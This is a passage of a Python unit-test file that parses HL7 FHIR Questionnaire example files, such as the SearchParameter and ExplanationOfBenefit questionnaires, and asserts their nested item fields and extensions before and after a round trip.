"http://hl7.org/fhir/questionnaire-item-control" ) assert inst.item[0].item[9].item[0].linkId == "display.ID" assert inst.item[0].item[9].item[0].type == "display" assert inst.item[0].item[9].item[1].linkId == "ActivityDefinition.url.value" assert inst.item[0].item[9].item[1].repeats is False assert inst.item[0].item[9].item[1].required is False assert inst.item[0].item[9].item[1].text == ( "Logical URI to reference this activity definition (globally " "unique)" ) assert inst.item[0].item[9].item[1].type == "string" assert inst.item[0].item[9].linkId == "ActivityDefinition.url" assert inst.item[0].item[9].repeats is True assert inst.item[0].item[9].required is False assert inst.item[0].item[9].type == "group" assert inst.item[0].linkId == "ActivityDefinition" assert inst.item[0].repeats is True assert inst.item[0].required is False assert inst.item[0].text == ( "The definition of a specific activity to be taken, " "independent of any particular patient or context" ) assert inst.item[0].type == "group" assert ( inst.publisher == "Health Level Seven International (Clinical Decision Support)" ) assert inst.status == "draft" def test_questionnaire_4(base_settings): """No. 4 tests collection for Questionnaire. Test File: activitydefinition-questionnaire.json """ filename = ( base_settings["unittest_data_dir"] / "activitydefinition-questionnaire.json" ) inst = questionnaire.Questionnaire.parse_file( filename, content_type="application/json", encoding="utf-8" ) assert "Questionnaire" == inst.resource_type impl_questionnaire_4(inst) # testing reverse by generating data from itself and create again. data = inst.dict() assert "Questionnaire" == data["resourceType"] inst2 = questionnaire.Questionnaire(**data) impl_questionnaire_4(inst2) def impl_questionnaire_5(inst): assert inst.date == fhirtypes.DateTime.validate("2017-04-19T07:44:43+10:00") assert inst.id == "qs1" assert inst.identifier[0].system == "urn:ietf:rfc:3986" assert inst.item[0].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "minOccurs" ) assert inst.item[0].extension[0].valueInteger == 1 assert inst.item[0].extension[1].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "maxOccurs" ) assert inst.item[0].extension[1].valueInteger == 1 assert inst.item[0].item[0].linkId == "display.ID" assert inst.item[0].item[0].text == ( "In FHIR, search is not performed directly on a resource (by " "XML or JSON path), but on a named parameter that maps into " "the resource content." ) assert inst.item[0].item[0].type == "display" assert inst.item[0].item[1].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "itemControl" ) assert ( inst.item[0].item[1].extension[0].valueCodeableConcept.coding[0].code == "flyover" ) assert ( inst.item[0].item[1].extension[0].valueCodeableConcept.coding[0].display == "Fly-over" ) assert ( inst.item[0].item[1].extension[0].valueCodeableConcept.coding[0].system == "http://hl7.org/fhir/questionnaire-item-control" ) assert inst.item[0].item[1].linkId == "display.ID" assert inst.item[0].item[1].text == ( "A search parameter that defines a named search item that can" " be used to search/filter on a resource." ) assert inst.item[0].item[1].type == "display" assert inst.item[0].item[2].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "maxOccurs" ) assert inst.item[0].item[2].extension[0].valueInteger == 1 assert inst.item[0].item[2].extension[1].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "fhirType" ) assert inst.item[0].item[2].extension[1].valueString == "string" assert inst.item[0].item[2].item[0].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "itemControl" ) assert ( inst.item[0].item[2].item[0].extension[0].valueCodeableConcept.coding[0].code == "flyover" ) assert ( inst.item[0].item[2].item[0].extension[0].valueCodeableConcept.coding[0].display == "Fly-over" ) assert ( inst.item[0].item[2].item[0].extension[0].valueCodeableConcept.coding[0].system == "http://hl7.org/fhir/questionnaire-item-control" ) assert inst.item[0].item[2].item[0].linkId == "display.ID" assert inst.item[0].item[2].item[0].type == "display" assert inst.item[0].item[2].item[1].linkId == "SearchParameter.id.value" assert inst.item[0].item[2].item[1].repeats is False assert inst.item[0].item[2].item[1].required is False assert inst.item[0].item[2].item[1].text == "Logical id of this artifact" assert inst.item[0].item[2].item[1].type == "string" assert inst.item[0].item[2].linkId == "SearchParameter.id" assert inst.item[0].item[2].repeats is True assert inst.item[0].item[2].required is False assert inst.item[0].item[2].type == "group" assert inst.item[0].item[3].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "maxOccurs" ) assert inst.item[0].item[3].extension[0].valueInteger == 1 assert inst.item[0].item[3].item[0].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "itemControl" ) assert ( inst.item[0].item[3].item[0].extension[0].valueCodeableConcept.coding[0].code == "flyover" ) assert ( inst.item[0].item[3].item[0].extension[0].valueCodeableConcept.coding[0].display == "Fly-over" ) assert ( inst.item[0].item[3].item[0].extension[0].valueCodeableConcept.coding[0].system == "http://hl7.org/fhir/questionnaire-item-control" ) assert inst.item[0].item[3].item[0].linkId == "display.ID" assert inst.item[0].item[3].item[0].text == ( "The metadata about the resource. This is content that is " "maintained by the infrastructure. Changes to the content may" " not always be associated with version changes to the " "resource." ) assert inst.item[0].item[3].item[0].type == "display" assert inst.item[0].item[3].linkId == "SearchParameter.meta" assert inst.item[0].item[3].repeats is True assert inst.item[0].item[3].required is False assert inst.item[0].item[3].text == "Metadata about the resource" assert inst.item[0].item[3].type == "group" assert inst.item[0].item[4].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "maxOccurs" ) assert inst.item[0].item[4].extension[0].valueInteger == 1 assert inst.item[0].item[4].extension[1].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "fhirType" ) assert inst.item[0].item[4].extension[1].valueString == "uri" assert inst.item[0].item[4].item[0].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "itemControl" ) assert ( inst.item[0].item[4].item[0].extension[0].valueCodeableConcept.coding[0].code == "flyover" ) assert ( inst.item[0].item[4].item[0].extension[0].valueCodeableConcept.coding[0].display == "Fly-over" ) assert ( inst.item[0].item[4].item[0].extension[0].valueCodeableConcept.coding[0].system == "http://hl7.org/fhir/questionnaire-item-control" ) assert inst.item[0].item[4].item[0].linkId == "display.ID" assert inst.item[0].item[4].item[0].type == "display" assert inst.item[0].item[4].item[1].linkId == "SearchParameter.implicitRules.value" assert inst.item[0].item[4].item[1].repeats is False assert inst.item[0].item[4].item[1].required is False assert ( inst.item[0].item[4].item[1].text == "A set of rules under which this content was created" ) assert inst.item[0].item[4].item[1].type == "string" assert inst.item[0].item[4].linkId == "SearchParameter.implicitRules" assert inst.item[0].item[4].repeats is True assert inst.item[0].item[4].required is False assert inst.item[0].item[4].type == "group" assert inst.item[0].item[5].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "maxOccurs" ) assert inst.item[0].item[5].extension[0].valueInteger == 1 assert inst.item[0].item[5].extension[1].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "fhirType" ) assert inst.item[0].item[5].extension[1].valueString == "code" assert inst.item[0].item[5].item[0].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "itemControl" ) assert ( inst.item[0].item[5].item[0].extension[0].valueCodeableConcept.coding[0].code == "flyover" ) assert ( inst.item[0].item[5].item[0].extension[0].valueCodeableConcept.coding[0].display == "Fly-over" ) assert ( inst.item[0].item[5].item[0].extension[0].valueCodeableConcept.coding[0].system == "http://hl7.org/fhir/questionnaire-item-control" ) assert inst.item[0].item[5].item[0].linkId == "display.ID" assert inst.item[0].item[5].item[0].type == "display" assert inst.item[0].item[5].item[1].linkId == "SearchParameter.language.value" assert inst.item[0].item[5].item[1].repeats is False assert inst.item[0].item[5].item[1].required is False assert inst.item[0].item[5].item[1].text == "language" assert inst.item[0].item[5].item[1].type == "choice" assert inst.item[0].item[5].linkId == "SearchParameter.language" assert inst.item[0].item[5].repeats is True assert inst.item[0].item[5].required is False assert inst.item[0].item[5].type == "group" assert inst.item[0].item[6].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "maxOccurs" ) assert inst.item[0].item[6].extension[0].valueInteger == 1 assert inst.item[0].item[6].item[0].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "itemControl" ) assert ( inst.item[0].item[6].item[0].extension[0].valueCodeableConcept.coding[0].code == "flyover" ) assert ( inst.item[0].item[6].item[0].extension[0].valueCodeableConcept.coding[0].display == "Fly-over" ) assert ( inst.item[0].item[6].item[0].extension[0].valueCodeableConcept.coding[0].system == "http://hl7.org/fhir/questionnaire-item-control" ) assert inst.item[0].item[6].item[0].linkId == "display.ID" assert inst.item[0].item[6].item[0].type == "display" assert inst.item[0].item[6].linkId == "SearchParameter.text" assert inst.item[0].item[6].repeats is True assert inst.item[0].item[6].required is False assert ( inst.item[0].item[6].text == "Text summary of the resource, for human interpretation" ) assert inst.item[0].item[6].type == "group" assert inst.item[0].item[7].item[0].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "itemControl" ) assert ( inst.item[0].item[7].item[0].extension[0].valueCodeableConcept.coding[0].code == "flyover" ) assert ( inst.item[0].item[7].item[0].extension[0].valueCodeableConcept.coding[0].display == "Fly-over" ) assert ( inst.item[0].item[7].item[0].extension[0].valueCodeableConcept.coding[0].system == "http://hl7.org/fhir/questionnaire-item-control" ) assert inst.item[0].item[7].item[0].linkId == "display.ID" assert inst.item[0].item[7].item[0].type == "display" assert inst.item[0].item[7].linkId == "SearchParameter.contained" assert inst.item[0].item[7].repeats is True assert inst.item[0].item[7].required is False assert inst.item[0].item[7].text == "Contained, inline Resources" assert inst.item[0].item[7].type == "group" assert inst.item[0].item[8].item[0].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "itemControl" ) assert ( inst.item[0].item[8].item[0].extension[0].valueCodeableConcept.coding[0].code == "flyover" ) assert ( inst.item[0].item[8].item[0].extension[0].valueCodeableConcept.coding[0].display == "Fly-over" ) assert ( inst.item[0].item[8].item[0].extension[0].valueCodeableConcept.coding[0].system == "http://hl7.org/fhir/questionnaire-item-control" ) assert inst.item[0].item[8].item[0].linkId == "display.ID" assert inst.item[0].item[8].item[0].type == "display" assert inst.item[0].item[8].linkId == "SearchParameter.extension" assert inst.item[0].item[8].repeats is True assert inst.item[0].item[8].required is False assert inst.item[0].item[8].text == "Additional Content defined by implementations" assert inst.item[0].item[8].type == "group" assert inst.item[0].item[9].item[0].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "itemControl" ) assert ( inst.item[0].item[9].item[0].extension[0].valueCodeableConcept.coding[0].code == "flyover" ) assert ( inst.item[0].item[9].item[0].extension[0].valueCodeableConcept.coding[0].display == "Fly-over" ) assert ( inst.item[0].item[9].item[0].extension[0].valueCodeableConcept.coding[0].system == "http://hl7.org/fhir/questionnaire-item-control" ) assert inst.item[0].item[9].item[0].linkId == "display.ID" assert inst.item[0].item[9].item[0].type == "display" assert inst.item[0].item[9].linkId == "SearchParameter.modifierExtension" assert inst.item[0].item[9].repeats is True assert inst.item[0].item[9].required is False assert inst.item[0].item[9].text == "Extensions that cannot be ignored" assert inst.item[0].item[9].type == "group" assert inst.item[0].linkId == "SearchParameter" assert inst.item[0].repeats is False assert inst.item[0].required is True assert inst.item[0].text == "Search Parameter for a resource" assert inst.item[0].type == "group" assert inst.publisher == "Health Level Seven International (FHIR Infrastructure)" assert inst.status == "draft" def test_questionnaire_5(base_settings): """No. 5 tests collection for Questionnaire. Test File: searchparameter-questionnaire.json """ filename = base_settings["unittest_data_dir"] / "searchparameter-questionnaire.json" inst = questionnaire.Questionnaire.parse_file( filename, content_type="application/json", encoding="utf-8" ) assert "Questionnaire" == inst.resource_type impl_questionnaire_5(inst) # testing reverse by generating data from itself and create again. data = inst.dict() assert "Questionnaire" == data["resourceType"] inst2 = questionnaire.Questionnaire(**data) impl_questionnaire_5(inst2) def impl_questionnaire_6(inst): assert inst.contained[0].id == "vs2" assert inst.contained[1].id == "vs3" assert inst.contained[2].id == "vs4" assert inst.contained[3].id == "vs5" assert inst.contained[4].id == "vs6" assert inst.contained[5].id == "vs7" assert inst.contained[6].id == "vs8" assert inst.contained[7].id == "vs9" assert inst.contained[8].id == "vs10" assert inst.contained[9].id == "vs11" assert inst.date == fhirtypes.DateTime.validate("2017-04-19T07:44:43+10:00") assert inst.id == "qs1" assert inst.identifier[0].system == "urn:ietf:rfc:3986" assert inst.item[0].item[0].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "itemControl" ) assert ( inst.item[0].item[0].extension[0].valueCodeableConcept.coding[0].code == "flyover" ) assert ( inst.item[0].item[0].extension[0].valueCodeableConcept.coding[0].display == "Fly-over" ) assert ( inst.item[0].item[0].extension[0].valueCodeableConcept.coding[0].system == "http://hl7.org/fhir/questionnaire-item-control" ) assert inst.item[0].item[0].linkId == "display.ID" assert inst.item[0].item[0].text == ( "This resource provides: the claim details; adjudication " "details from the processing of a Claim; and optionally " "account balance information, for informing the subscriber of" " the benefits provided." ) assert inst.item[0].item[0].type == "display" assert inst.item[0].item[1].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "maxOccurs" ) assert inst.item[0].item[1].extension[0].valueInteger == 1 assert inst.item[0].item[1].extension[1].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "fhirType" ) assert inst.item[0].item[1].extension[1].valueString == "string" assert inst.item[0].item[1].item[0].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "itemControl" ) assert ( inst.item[0].item[1].item[0].extension[0].valueCodeableConcept.coding[0].code == "flyover" ) assert ( inst.item[0].item[1].item[0].extension[0].valueCodeableConcept.coding[0].display == "Fly-over" ) assert ( inst.item[0].item[1].item[0].extension[0].valueCodeableConcept.coding[0].system == "http://hl7.org/fhir/questionnaire-item-control" ) assert inst.item[0].item[1].item[0].linkId == "display.ID" assert inst.item[0].item[1].item[0].type == "display" assert inst.item[0].item[1].item[1].linkId == "ExplanationOfBenefit.id.value" assert inst.item[0].item[1].item[1].repeats is False assert inst.item[0].item[1].item[1].required is False assert inst.item[0].item[1].item[1].text == "Logical id of this artifact" assert inst.item[0].item[1].item[1].type == "string" assert inst.item[0].item[1].linkId == "ExplanationOfBenefit.id" assert inst.item[0].item[1].repeats is True assert inst.item[0].item[1].required is False assert inst.item[0].item[1].type == "group" assert inst.item[0].item[2].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "maxOccurs" ) assert inst.item[0].item[2].extension[0].valueInteger == 1 assert inst.item[0].item[2].item[0].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "itemControl" ) assert ( inst.item[0].item[2].item[0].extension[0].valueCodeableConcept.coding[0].code == "flyover" ) assert ( inst.item[0].item[2].item[0].extension[0].valueCodeableConcept.coding[0].display == "Fly-over" ) assert ( inst.item[0].item[2].item[0].extension[0].valueCodeableConcept.coding[0].system == "http://hl7.org/fhir/questionnaire-item-control" ) assert inst.item[0].item[2].item[0].linkId == "display.ID" assert inst.item[0].item[2].item[0].text == ( "The metadata about the resource. This is content that is " "maintained by the infrastructure. Changes to the content may" " not always be associated with version changes to the " "resource." ) assert inst.item[0].item[2].item[0].type == "display" assert inst.item[0].item[2].linkId == "ExplanationOfBenefit.meta" assert inst.item[0].item[2].repeats is True assert inst.item[0].item[2].required is False assert inst.item[0].item[2].text == "Metadata about the resource" assert inst.item[0].item[2].type == "group" assert inst.item[0].item[3].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "maxOccurs" ) assert inst.item[0].item[3].extension[0].valueInteger == 1 assert inst.item[0].item[3].extension[1].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "fhirType" ) assert inst.item[0].item[3].extension[1].valueString == "uri" assert inst.item[0].item[3].item[0].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "itemControl" ) assert ( inst.item[0].item[3].item[0].extension[0].valueCodeableConcept.coding[0].code == "flyover" ) assert ( inst.item[0].item[3].item[0].extension[0].valueCodeableConcept.coding[0].display == "Fly-over" ) assert ( inst.item[0].item[3].item[0].extension[0].valueCodeableConcept.coding[0].system == "http://hl7.org/fhir/questionnaire-item-control" ) assert inst.item[0].item[3].item[0].linkId == "display.ID" assert inst.item[0].item[3].item[0].type == "display" assert ( inst.item[0].item[3].item[1].linkId == "ExplanationOfBenefit.implicitRules.value" ) assert inst.item[0].item[3].item[1].repeats is False assert inst.item[0].item[3].item[1].required is False assert ( inst.item[0].item[3].item[1].text == "A set of rules under which this content was created" ) assert inst.item[0].item[3].item[1].type == "string" assert inst.item[0].item[3].linkId == "ExplanationOfBenefit.implicitRules" assert inst.item[0].item[3].repeats is True assert inst.item[0].item[3].required is False assert inst.item[0].item[3].type == "group" assert inst.item[0].item[4].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "maxOccurs" ) assert inst.item[0].item[4].extension[0].valueInteger == 1 assert inst.item[0].item[4].extension[1].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "fhirType" ) assert inst.item[0].item[4].extension[1].valueString == "code" assert inst.item[0].item[4].item[0].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "itemControl" ) assert ( inst.item[0].item[4].item[0].extension[0].valueCodeableConcept.coding[0].code == "flyover" ) assert ( inst.item[0].item[4].item[0].extension[0].valueCodeableConcept.coding[0].display == "Fly-over" ) assert ( inst.item[0].item[4].item[0].extension[0].valueCodeableConcept.coding[0].system == "http://hl7.org/fhir/questionnaire-item-control" ) assert inst.item[0].item[4].item[0].linkId == "display.ID" assert inst.item[0].item[4].item[0].type == "display" assert inst.item[0].item[4].item[1].linkId == "ExplanationOfBenefit.language.value" assert inst.item[0].item[4].item[1].repeats is False assert inst.item[0].item[4].item[1].required is False assert inst.item[0].item[4].item[1].text == "language" assert inst.item[0].item[4].item[1].type == "choice" assert inst.item[0].item[4].linkId == "ExplanationOfBenefit.language" assert inst.item[0].item[4].repeats is True assert inst.item[0].item[4].required is False assert inst.item[0].item[4].type == "group" assert inst.item[0].item[5].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "maxOccurs" ) assert inst.item[0].item[5].extension[0].valueInteger == 1 assert inst.item[0].item[5].item[0].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "itemControl" ) assert ( inst.item[0].item[5].item[0].extension[0].valueCodeableConcept.coding[0].code == "flyover" ) assert ( inst.item[0].item[5].item[0].extension[0].valueCodeableConcept.coding[0].display == "Fly-over" ) assert ( inst.item[0].item[5].item[0].extension[0].valueCodeableConcept.coding[0].system == "http://hl7.org/fhir/questionnaire-item-control" ) assert inst.item[0].item[5].item[0].linkId == "display.ID" assert inst.item[0].item[5].item[0].type == "display" assert inst.item[0].item[5].linkId == "ExplanationOfBenefit.text" assert inst.item[0].item[5].repeats is True assert inst.item[0].item[5].required is False assert ( inst.item[0].item[5].text == "Text summary of the resource, for human interpretation" ) assert inst.item[0].item[5].type == "group" assert inst.item[0].item[6].item[0].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "itemControl" ) assert ( inst.item[0].item[6].item[0].extension[0].valueCodeableConcept.coding[0].code == "flyover" ) assert ( inst.item[0].item[6].item[0].extension[0].valueCodeableConcept.coding[0].display == "Fly-over" ) assert ( inst.item[0].item[6].item[0].extension[0].valueCodeableConcept.coding[0].system == "http://hl7.org/fhir/questionnaire-item-control" ) assert inst.item[0].item[6].item[0].linkId == "display.ID" assert inst.item[0].item[6].item[0].type == "display" assert inst.item[0].item[6].linkId == "ExplanationOfBenefit.contained" assert inst.item[0].item[6].repeats is True assert inst.item[0].item[6].required is False assert inst.item[0].item[6].text == "Contained, inline Resources" assert inst.item[0].item[6].type == "group" assert inst.item[0].item[7].item[0].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "itemControl" ) assert ( inst.item[0].item[7].item[0].extension[0].valueCodeableConcept.coding[0].code == "flyover" ) assert ( inst.item[0].item[7].item[0].extension[0].valueCodeableConcept.coding[0].display == "Fly-over" ) assert ( inst.item[0].item[7].item[0].extension[0].valueCodeableConcept.coding[0].system == "http://hl7.org/fhir/questionnaire-item-control" ) assert inst.item[0].item[7].item[0].linkId == "display.ID" assert inst.item[0].item[7].item[0].type == "display" assert inst.item[0].item[7].linkId == "ExplanationOfBenefit.extension" assert inst.item[0].item[7].repeats is True assert inst.item[0].item[7].required is False assert inst.item[0].item[7].text == "Additional Content defined by implementations" assert inst.item[0].item[7].type == "group" assert inst.item[0].item[8].item[0].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "itemControl" ) assert ( inst.item[0].item[8].item[0].extension[0].valueCodeableConcept.coding[0].code == "flyover" ) assert ( inst.item[0].item[8].item[0].extension[0].valueCodeableConcept.coding[0].display == "Fly-over" ) assert ( inst.item[0].item[8].item[0].extension[0].valueCodeableConcept.coding[0].system == "http://hl7.org/fhir/questionnaire-item-control" ) assert inst.item[0].item[8].item[0].linkId == "display.ID" assert inst.item[0].item[8].item[0].type == "display" assert inst.item[0].item[8].linkId == "ExplanationOfBenefit.modifierExtension" assert inst.item[0].item[8].repeats is True assert inst.item[0].item[8].required is False assert inst.item[0].item[8].text == "Extensions that cannot be ignored" assert inst.item[0].item[8].type == "group" assert inst.item[0].item[9].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "fhirType" ) assert inst.item[0].item[9].extension[0].valueString == "Identifier" assert inst.item[0].item[9].item[0].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "itemControl" ) assert ( inst.item[0].item[9].item[0].extension[0].valueCodeableConcept.coding[0].code == "flyover" ) assert ( inst.item[0].item[9].item[0].extension[0].valueCodeableConcept.coding[0].display == "Fly-over" ) assert ( inst.item[0].item[9].item[0].extension[0].valueCodeableConcept.coding[0].system == "http://hl7.org/fhir/questionnaire-item-control" ) assert inst.item[0].item[9].item[0].linkId == "display.ID" assert inst.item[0].item[9].item[0].text == "The EOB Business Identifier." assert inst.item[0].item[9].item[0].type == "display" assert ( inst.item[0].item[9].item[1].linkId == "ExplanationOfBenefit.identifier.label" ) assert inst.item[0].item[9].item[1].repeats is False assert inst.item[0].item[9].item[1].required is False assert inst.item[0].item[9].item[1].text == "label:" assert inst.item[0].item[9].item[1].type == "string" assert ( inst.item[0].item[9].item[2].linkId == "ExplanationOfBenefit.identifier.system" ) assert inst.item[0].item[9].item[2].repeats is False assert inst.item[0].item[9].item[2].required is False assert inst.item[0].item[9].item[2].text == "system:" assert inst.item[0].item[9].item[2].type == "string" assert ( inst.item[0].item[9].item[3].linkId == "ExplanationOfBenefit.identifier.value" ) assert inst.item[0].item[9].item[3].repeats is False assert inst.item[0].item[9].item[3].required is False assert inst.item[0].item[9].item[3].text == "value:" assert inst.item[0].item[9].item[3].type == "string" assert inst.item[0].item[9].linkId == "ExplanationOfBenefit.identifier" assert inst.item[0].item[9].repeats is True assert inst.item[0].item[9].required is False assert inst.item[0].item[9].text == "Business Identifier" assert inst.item[0].item[9].type == "group" assert inst.item[0].linkId == "ExplanationOfBenefit" assert inst.item[0].repeats is True assert inst.item[0].required is False assert inst.item[0].text == "Explanation of Benefit resource" assert inst.item[0].type == "group" assert inst.publisher == "Health Level Seven International (Financial Management)" assert inst.status == "draft" def test_questionnaire_6(base_settings): """No. 6 tests collection for Questionnaire. Test File: explanationofbenefit-questionnaire.json """ filename = ( base_settings["unittest_data_dir"] / "explanationofbenefit-questionnaire.json" ) inst = questionnaire.Questionnaire.parse_file( filename, content_type="application/json", encoding="utf-8" ) assert "Questionnaire" == inst.resource_type impl_questionnaire_6(inst) # testing reverse by generating data from itself and create again. data = inst.dict() assert "Questionnaire" == data["resourceType"] inst2 = questionnaire.Questionnaire(**data) impl_questionnaire_6(inst2) def impl_questionnaire_7(inst): assert inst.contained[0].id == "vs2" assert inst.contained[1].id == "vs3" assert inst.contained[2].id == "vs4" assert inst.contained[3].id == "vs5" assert inst.contained[4].id == "vs6" assert inst.contained[5].id == "vs7" assert inst.contained[6].id == "vs8" assert inst.contained[7].id == "vs9" assert inst.contained[8].id == "vs10" assert inst.date == fhirtypes.DateTime.validate("2017-04-19T07:44:43+10:00") assert inst.id == "qs1" assert inst.identifier[0].system == "urn:ietf:rfc:3986" assert inst.item[0].item[0].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "itemControl" ) assert ( inst.item[0].item[0].extension[0].valueCodeableConcept.coding[0].code == "flyover" ) assert ( inst.item[0].item[0].extension[0].valueCodeableConcept.coding[0].display == "Fly-over" ) assert ( inst.item[0].item[0].extension[0].valueCodeableConcept.coding[0].system == "http://hl7.org/fhir/questionnaire-item-control" ) assert inst.item[0].item[0].linkId == "display.ID" assert inst.item[0].item[0].type == "display" assert inst.item[0].item[1].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "maxOccurs" ) assert inst.item[0].item[1].extension[0].valueInteger == 1 assert inst.item[0].item[1].extension[1].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "fhirType" ) assert inst.item[0].item[1].extension[1].valueString == "string" assert inst.item[0].item[1].item[0].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "itemControl" ) assert ( inst.item[0].item[1].item[0].extension[0].valueCodeableConcept.coding[0].code == "flyover" ) assert ( inst.item[0].item[1].item[0].extension[0].valueCodeableConcept.coding[0].display == "Fly-over" ) assert ( inst.item[0].item[1].item[0].extension[0].valueCodeableConcept.coding[0].system == "http://hl7.org/fhir/questionnaire-item-control" ) assert inst.item[0].item[1].item[0].linkId == "display.ID" assert inst.item[0].item[1].item[0].type == "display" assert inst.item[0].item[1].item[1].linkId == "CarePlan.id.value" assert inst.item[0].item[1].item[1].repeats is False assert inst.item[0].item[1].item[1].required is False assert inst.item[0].item[1].item[1].text == "Logical id of this artifact" assert inst.item[0].item[1].item[1].type == "string" assert inst.item[0].item[1].linkId == "CarePlan.id" assert inst.item[0].item[1].repeats is True assert inst.item[0].item[1].required is False assert inst.item[0].item[1].type == "group" assert inst.item[0].item[2].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "maxOccurs" ) assert inst.item[0].item[2].extension[0].valueInteger == 1 assert inst.item[0].item[2].item[0].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "itemControl" ) assert ( inst.item[0].item[2].item[0].extension[0].valueCodeableConcept.coding[0].code == "flyover" ) assert ( inst.item[0].item[2].item[0].extension[0].valueCodeableConcept.coding[0].display == "Fly-over" ) assert ( inst.item[0].item[2].item[0].extension[0].valueCodeableConcept.coding[0].system == "http://hl7.org/fhir/questionnaire-item-control" ) assert inst.item[0].item[2].item[0].linkId == "display.ID" assert inst.item[0].item[2].item[0].text == ( "The metadata about the resource. This is content that is " "maintained by the infrastructure. Changes to the content may" " not always be associated with version changes to the " "resource." ) assert inst.item[0].item[2].item[0].type == "display" assert inst.item[0].item[2].linkId == "CarePlan.meta" assert inst.item[0].item[2].repeats is True assert inst.item[0].item[2].required is False assert inst.item[0].item[2].text == "Metadata about the resource" assert inst.item[0].item[2].type == "group" assert inst.item[0].item[3].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "maxOccurs" ) assert inst.item[0].item[3].extension[0].valueInteger == 1 assert inst.item[0].item[3].extension[1].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "fhirType" ) assert inst.item[0].item[3].extension[1].valueString == "uri" assert inst.item[0].item[3].item[0].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "itemControl" ) assert ( inst.item[0].item[3].item[0].extension[0].valueCodeableConcept.coding[0].code == "flyover" ) assert ( inst.item[0].item[3].item[0].extension[0].valueCodeableConcept.coding[0].display == "Fly-over" ) assert ( inst.item[0].item[3].item[0].extension[0].valueCodeableConcept.coding[0].system == "http://hl7.org/fhir/questionnaire-item-control" ) assert inst.item[0].item[3].item[0].linkId == "display.ID" assert inst.item[0].item[3].item[0].type == "display" assert inst.item[0].item[3].item[1].linkId == "CarePlan.implicitRules.value" assert inst.item[0].item[3].item[1].repeats is False assert inst.item[0].item[3].item[1].required is False assert ( inst.item[0].item[3].item[1].text == "A set of rules under which this content was created" ) assert inst.item[0].item[3].item[1].type == "string" assert inst.item[0].item[3].linkId == "CarePlan.implicitRules" assert inst.item[0].item[3].repeats is True assert inst.item[0].item[3].required is False assert inst.item[0].item[3].type == "group" assert inst.item[0].item[4].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "maxOccurs" ) assert inst.item[0].item[4].extension[0].valueInteger == 1 assert inst.item[0].item[4].extension[1].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "fhirType" ) assert inst.item[0].item[4].extension[1].valueString == "code" assert inst.item[0].item[4].item[0].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "itemControl" ) assert ( inst.item[0].item[4].item[0].extension[0].valueCodeableConcept.coding[0].code == "flyover" ) assert ( inst.item[0].item[4].item[0].extension[0].valueCodeableConcept.coding[0].display == "Fly-over" ) assert ( inst.item[0].item[4].item[0].extension[0].valueCodeableConcept.coding[0].system == "http://hl7.org/fhir/questionnaire-item-control" ) assert inst.item[0].item[4].item[0].linkId == "display.ID" assert inst.item[0].item[4].item[0].type == "display" assert inst.item[0].item[4].item[1].linkId == "CarePlan.language.value" assert inst.item[0].item[4].item[1].repeats is False assert inst.item[0].item[4].item[1].required is False assert inst.item[0].item[4].item[1].text == "language" assert inst.item[0].item[4].item[1].type == "choice" assert inst.item[0].item[4].linkId == "CarePlan.language" assert inst.item[0].item[4].repeats is True assert inst.item[0].item[4].required is False assert inst.item[0].item[4].type == "group" assert inst.item[0].item[5].extension[0].url == ( "http://hl7.org/fhir/StructureDefinition/questionnaire-" "maxOccurs" ) assert inst.item[0].item[5].extension[0].valueInteger == 1 assert 